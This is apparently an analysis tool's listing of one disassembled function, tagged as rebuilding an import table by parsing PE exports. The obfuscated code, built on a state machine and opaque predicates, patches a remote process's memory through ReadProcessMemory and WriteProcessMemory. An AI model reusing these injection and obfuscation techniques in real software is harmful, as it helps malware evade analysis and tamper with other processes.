Function at 0x10003d70
Capabilities:
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
and esp, 0xfffffff8
sub esp, 0xc0
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [0x10037600]
xor eax, ebp
mov dword [esp + 0xbc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x24], 0x8c3aa89e
mov eax, dword [esp + 0x24]
mov dword [esp + 0x20], eax
sub eax, 0x84887019
je 0x10005584
jmp 0x10003db9
mov eax, dword [esp + 0x20]
sub eax, 0x849de2d2
je 0x1000539d
jmp 0x10003dcd
mov eax, dword [esp + 0x20]
sub eax, 0x8530c845
je 0x10004ddb
jmp 0x10003de1
mov eax, dword [esp + 0x20]
sub eax, 0x8837ea77
je 0x10005635
jmp 0x10003df5
mov eax, dword [esp + 0x20]
sub eax, 0x8c3aa89e
je 0x100043ea
jmp 0x10003e09
mov eax, dword [esp + 0x20]
sub eax, 0x906a4f53
je 0x10005173
jmp 0x10003e1d
mov eax, dword [esp + 0x20]
sub eax, 0x9165158a
je 0x100054ff
jmp 0x10003e31
mov eax, dword [esp + 0x20]
sub eax, 0x968fe1f7
je 0x10005494
jmp 0x10003e45
mov eax, dword [esp + 0x20]
sub eax, 0x96ddab26
je 0x10005692
jmp 0x10003e59
mov eax, dword [esp + 0x20]
sub eax, 0xa11552b9
je 0x10005487
jmp 0x10003e6d
mov eax, dword [esp + 0x20]
sub eax, 0xa20329a1
je 0x100047c9
jmp 0x10003e81
mov eax, dword [esp + 0x20]
sub eax, 0xa4c9fd0e
je 0x100054b6
jmp 0x10003e95
mov eax, dword [esp + 0x20]
sub eax, 0xa590984f
je 0x10004b78
jmp 0x10003ea9
mov eax, dword [esp + 0x20]
sub eax, 0xab1100df
je 0x100046af
jmp 0x10003ebd
mov eax, dword [esp + 0x20]
sub eax, 0xb1655832
je 0x10005311
jmp 0x10003ed1
mov eax, dword [esp + 0x20]
sub eax, 0xb21de7a9
je 0x1000452d
jmp 0x10003ee5
mov eax, dword [esp + 0x20]
sub eax, 0xbcc39465
je 0x10004728
jmp 0x10003ef9
mov eax, dword [esp + 0x20]
sub eax, 0xc2028cad
je 0x100044a4
jmp 0x10003f0d
mov eax, dword [esp + 0x20]
sub eax, 0xc824817f
je 0x100053b7
jmp 0x10003f21
mov eax, dword [esp + 0x20]
sub eax, 0xc8918b38
je 0x10004e5c
jmp 0x10003f35
mov eax, dword [esp + 0x20]
sub eax, 0xca9be18f
je 0x10004c3e
jmp 0x10003f49
mov eax, dword [esp + 0x20]
sub eax, 0xcb9b28e1
je 0x10005614
jmp 0x10003f5d
mov eax, dword [esp + 0x20]
sub eax, 0xd0500607
je 0x100050fb
jmp 0x10003f71
mov eax, dword [esp + 0x20]
sub eax, 0xd911f305
je 0x10004620
jmp 0x10003f85
mov eax, dword [esp + 0x20]
sub eax, 0xda7d9040
je 0x10004eb9
jmp 0x10003f99
mov eax, dword [esp + 0x20]
sub eax, 0xde5bdcbb
je 0x10004450
jmp 0x10003fad
mov eax, dword [esp + 0x20]
sub eax, 0xe2c12ab7
je 0x10004ec6
jmp 0x10003fc1
mov eax, dword [esp + 0x20]
sub eax, 0xe444fafd
je 0x1000458f
jmp 0x10003fd5
mov eax, dword [esp + 0x20]
sub eax, 0xeaf975c5
je 0x1000443b
jmp 0x10003fe9
mov eax, dword [esp + 0x20]
sub eax, 0xeda30498
je 0x10004c6b
jmp 0x10003ffd
mov eax, dword [esp + 0x20]
sub eax, 0xf0dfba1c
je 0x10005199
jmp 0x10004011
mov eax, dword [esp + 0x20]
sub eax, 0xf222351e
je 0x1000489a
jmp 0x10004025
mov eax, dword [esp + 0x20]
sub eax, 0xf280ec2b
je 0x10005577
jmp 0x10004039
mov eax, dword [esp + 0x20]
sub eax, 0xf6192914
je 0x1000507a
jmp 0x1000404d
mov eax, dword [esp + 0x20]
sub eax, 0xf7ae4854
je 0x1000529d
jmp 0x10004061
mov eax, dword [esp + 0x20]
sub eax, 0xf7ec9c51
je 0x10004a44
jmp 0x10004075
mov eax, dword [esp + 0x20]
sub eax, 0xfa1d077f
je 0x10004d16
jmp 0x10004089
mov eax, dword [esp + 0x20]
sub eax, 0xfcdd7bb8
je 0x10004f15
jmp 0x1000409d
mov eax, dword [esp + 0x20]
sub eax, 0x9ed928
je 0x10004de8
jmp 0x100040b1
mov eax, dword [esp + 0x20]
sub eax, 0xe65cbc
je 0x10004f9f
jmp 0x100040c5
mov eax, dword [esp + 0x20]
sub eax, 0x7745c9f
je 0x10004810
jmp 0x100040d9
mov eax, dword [esp + 0x20]
sub eax, 0xbfb0e98
je 0x1000488d
jmp 0x100040ed
mov eax, dword [esp + 0x20]
sub eax, 0xf7f2cd3
je 0x100048b7
jmp 0x10004101
mov eax, dword [esp + 0x20]
sub eax, 0x1a4d26b5
je 0x10004951
jmp 0x10004115
mov eax, dword [esp + 0x20]
sub eax, 0x2166a7b5
je 0x10004939
jmp 0x10004129
mov eax, dword [esp + 0x20]
sub eax, 0x27ee9617
je 0x10004be4
jmp 0x1000413d
mov eax, dword [esp + 0x20]
sub eax, 0x2a716da1
je 0x10005276
jmp 0x10004151
mov eax, dword [esp + 0x20]
sub eax, 0x2e84eae7
je 0x10004a51
jmp 0x10004165
mov eax, dword [esp + 0x20]
sub eax, 0x313f3947
je 0x1000554d
jmp 0x10004179
mov eax, dword [esp + 0x20]
sub eax, 0x32aa3996
je 0x10004ca2
jmp 0x1000418d
mov eax, dword [esp + 0x20]
sub eax, 0x3d3525c0
je 0x100045ac
jmp 0x100041a1
mov eax, dword [esp + 0x20]
sub eax, 0x3e2a6695
je 0x10005540
jmp 0x100041b5
mov eax, dword [esp + 0x20]
sub eax, 0x3f4d43c1
je 0x10004af0
jmp 0x100041c9
mov eax, dword [esp + 0x20]
sub eax, 0x40663363
je 0x10004c4b
jmp 0x100041dd
mov eax, dword [esp + 0x20]
sub eax, 0x424bade5
je 0x1000496c
jmp 0x100041f1
mov eax, dword [esp + 0x20]
sub eax, 0x428da2ff
je 0x100051b1
jmp 0x10004205
mov eax, dword [esp + 0x20]
sub eax, 0x470f2a5b
je 0x100044b9
jmp 0x10004219
mov eax, dword [esp + 0x20]
sub eax, 0x4c176c45
je 0x100048f3
jmp 0x1000422d
mov eax, dword [esp + 0x20]
sub eax, 0x4cc6cee3
je 0x10004a37
jmp 0x10004241
mov eax, dword [esp + 0x20]
sub eax, 0x4cf83544
je 0x10004fbf
jmp 0x10004255
mov eax, dword [esp + 0x20]
sub eax, 0x4fafd373
je 0x10005510
jmp 0x10004269
mov eax, dword [esp + 0x20]
sub eax, 0x4fc8b840
je 0x1000555a
jmp 0x1000427d
mov eax, dword [esp + 0x20]
sub eax, 0x5b106e8d
je 0x10004475
jmp 0x10004291
mov eax, dword [esp + 0x20]
sub eax, 0x5d87b023
je 0x10005006
jmp 0x100042a5
mov eax, dword [esp + 0x20]
sub eax, 0x62429029
je 0x100053aa
mov ecx, dword [ebp + 8]
mov eax, dword [esp + 0x5c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.10003170
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x60], eax
mov dword [esp + 0x24], 0x78c9081f
jmp 0x100056a9
mov dword [esp + 0x58], 0
mov dword [esp + 0x24], 0xde5bdcbb
jmp 0x100056a9
mov dword [esp + 0x24], 0x7708fb1c
jmp 0x100056a9
mov eax, dword [esp + 0x64]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x54]
mov eax, dword [eax]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x24], 0xc2028cad
jmp 0x100056a9
mov eax, dword [esp + 0x44]
mov dword [esp + 0x68], eax
mov dword [esp + 0x24], 0x470f2a5b
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
sub edx, 0x6981de14
sub edx, 1
add edx, 0x6981de14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9165158a
mov ecx, 0xb21de7a9
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x68]
cmp eax, ecx
setb al
and al, 1
mov byte [esp + 0x6d], al
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
mov edx, eax
sub edx, 0xba22a9c1
sub edx, 1
add edx, 0xba22a9c1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9165158a
mov ecx, 0xe444fafd
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dl, byte [esp + 0x6d]
mov eax, 0x6a0c2188
mov ecx, 0x3d3525c0
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
sub edx, 0x52fd3a36
sub edx, 1
add edx, 0x52fd3a36
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4fafd373
mov ecx, 0xd911f305
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [ebp + 0xc]
mov edx, dword [esp + 0x4c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov edx, dword [esp + 0x44]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [esp + 0x48], eax
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0x4faec7a2
sub edx, 1
sub edx, 0x4faec7a2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4fafd373
mov ecx, 0xab1100df
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x72a0b99c
jmp 0x100056a9
mov eax, dword [esp + 0x48]
cmp dword [eax], 0
setne al
and al, 1
mov byte [esp + 0x6e], al
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0xa9e97c0c
sub edx, 1
sub edx, 0xa9e97c0c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3e2a6695
mov ecx, 0x6dc5e80d
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x313f3947
mov ecx, 0x7745c9f
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [esp + 0x48]
cmp dword [eax + 0x10], 0
setne al
and al, 1
mov byte [esp + 0x6f], al
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x313f3947
mov ecx, 0xbfb0e98
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0xf222351e
jmp 0x100056a9
mov dl, byte [esp + 0x6f]
mov eax, 0xf7f2cd3
mov ecx, 0x79074c92
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x6a0c2188
jmp 0x100056a9
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
mov edx, dword [esp + 0x7c]
add eax, ecx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x48]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x48]
mov eax, dword [eax]
mov dword [esp + 0x38], eax
mov eax, 0x2166a7b5
mov ecx, 0x424bade5
cmp dword [esp + 0x38], 0
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [esp + 0x48]
mov dword [esp + 0x80], eax
mov dword [esp + 0x24], 0x1a4d26b5
jmp 0x100056a9
mov eax, dword [esp + 0x80]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], 0x424bade5
jmp 0x100056a9
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4fc8b840
mov ecx, 0x7947c72f
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0xf7ec9c51
jmp 0x100056a9
mov dword [esp + 0x24], 0x2e84eae7
jmp 0x100056a9
lea eax, [esp + 0xb8]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 4
call fcn.10009e70
lea eax, [esp + 0xb4]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 4
call fcn.10009e70
mov ecx, dword [ebp + 0xc]
add ecx, dword [esp + 0x34]
add ecx, dword [esp + 0x3c]
mov edx, dword [ebp + 8]
lea eax, [esp + 0xb8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x88], eax
mov dword [esp + 0x24], 0x3f4d43c1
jmp 0x100056a9
mov ecx, dword [esp + 0x84]
mov eax, dword [esp + 0x88]
add ecx, eax
add ecx, dword [esp + 0x38]
mov edx, dword [ebp + 8]
lea eax, [esp + 0xb4]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov edx, dword [esp + 0xb4]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x80000000
mov eax, 0xffffffff
xor eax, 0x755e2ad
or edx, ecx
or eax, 0x755e2ad
xor edx, 0xffffffff
and edx, eax
mov eax, 0xa590984f
mov ecx, 0xeda30498
cmp edx, 0
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf280ec2b
mov ecx, 0x27ee9617
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
xor eax, eax
and al, 1
mov byte [esp + 0x8f], al
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
mov edx, eax
add edx, 0x3634b74c
sub edx, 1
sub edx, 0x3634b74c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf280ec2b
mov ecx, 0xca9be18f
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x40663363
jmp 0x100056a9
mov dl, byte [esp + 0x8f]
mov eax, 0x9ed928
mov ecx, 0xeda30498
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov ecx, dword [esp + 0xb4]
mov edx, 0xffffffff
xor edx, 0xffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x94], eax
mov dword [esp + 0x24], 0x32aa3996
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0xb9877b35
sub edx, 1
sub edx, 0xb9877b35
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84887019
mov ecx, 0xfa1d077f
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [esp + 0x94]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov ecx, eax
mov eax, dword [esp + 0x90]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0xb8], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [esp + 0x34]
add ecx, dword [esp + 0x3c]
mov edx, dword [ebp + 8]
lea eax, [esp + 0xb8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
mov edx, eax
sub edx, 0xe0307d1a
sub edx, 1
add edx, 0xe0307d1a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84887019
mov ecx, 0x8530c845
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x9ed928
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0x5ea88396
sub edx, 1
sub edx, 0x5ea88396
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x71825213
mov ecx, 0xc8918b38
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
lea eax, [esp + 0xb8]
mov dword [esp + 0x98], eax
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
mov edx, eax
sub edx, 0xb7a1b655
sub edx, 1
add edx, 0xb7a1b655
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71825213
mov ecx, 0xda7d9040
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0xe2c12ab7
jmp 0x100056a9
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
mov edx, eax
add edx, 0xc05a7e6a
sub edx, 1
sub edx, 0xc05a7e6a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb9b28e1
mov ecx, 0xfcdd7bb8
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [esp + 0x98]
cmp dword [eax], 0
setne al
and al, 1
mov byte [esp + 0x9f], al
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0xe7af8644
sub edx, 1
sub edx, 0xe7af8644
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcb9b28e1
mov ecx, 0xe65cbc
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dl, byte [esp + 0x9f]
mov eax, 0x4cf83544
mov ecx, 0x772b8853
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c77f618
mov ecx, 0x5d87b023
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0x85cac998
sub edx, 1
sub edx, 0x85cac998
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6c77f618
mov ecx, 0xf6192914
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x62429029
jmp 0x100056a9
mov eax, dword [esp + 0xb8]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0xb4]
mov dword [esp + 0xa4], eax
mov eax, dword [0x10038984]
mov ecx, dword [0x10038980]
mov edx, eax
add edx, 0xcc31fa24
sub edx, 1
sub edx, 0xcc31fa24
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8837ea77
mov ecx, 0x77821c9a
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov edx, dword [esp + 0xa0]
mov esi, dword [esp + 0xa4]
mov eax, 0x2a716da1
mov ecx, 0xf0dfba1c
cmp edx, esi
cmove eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0xb0], 0
mov dword [esp + 0x24], 0x428da2ff
jmp 0x100056a9
mov ecx, dword [ebp + 0xc]
add ecx, dword [esp + 0xb4]
mov edx, dword [ebp + 8]
lea eax, [esp + 0xb0]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov eax, dword [esp + 0xb0]
add eax, 2
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov ecx, eax
mov eax, dword [esp + 0x1c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [esp + 0xb8], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [esp + 0x34]
add ecx, dword [esp + 0x3c]
mov edx, dword [ebp + 8]
lea eax, [esp + 0xb8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov dword [esp + 0x24], 0x2a716da1
jmp 0x100056a9
mov eax, dword [esp + 0x34]
xor ecx, ecx
sub ecx, 4
sub eax, ecx
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0xa8], eax
mov dword [esp + 0x24], 0xf7ae4854
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
sub edx, 0x5dd7992
sub edx, 1
add edx, 0x5dd7992
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a22f954
mov ecx, 0xb1655832
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov eax, dword [esp + 0xa8]
add eax, 0xe7e66b15
add eax, 4
sub eax, 0xe7e66b15
mov dword [esp + 0x30], eax
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
mov edx, ecx
add edx, 0x1c12eb01
sub edx, 1
sub edx, 0x1c12eb01
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a22f954
mov ecx, 0x849de2d2
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x2e84eae7
jmp 0x100056a9
mov ecx, dword [0x10038984]
mov eax, dword [0x10038980]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x96ddab26
mov ecx, 0x692877f3
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x24], eax
jmp 0x100056a9
mov dword [esp + 0x24], 0x968fe1f7
jmp 0x100056a9
mov dword [esp + 0x24], 0xc2028cad
jmp 0x100056a9
mov dword [esp + 0x24], 0x7708fb1c
jmp 0x100056a9
mov eax, dword [esp + 0x68]
mov dword [esp + 0x24], 0xb21de7a9
jmp 0x100056a9
mov eax, dword [ebp + 0xc]
mov edx, dword [esp + 0x4c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov edx, dword [esp + 0x44]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [esp + 0x48], eax
mov dword [esp + 0x24], 0xd911f305
jmp 0x100056a9
mov dword [esp + 0x24], 0xbcc39465
jmp 0x100056a9
mov dword [esp + 0x24], 0x7745c9f
jmp 0x100056a9
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
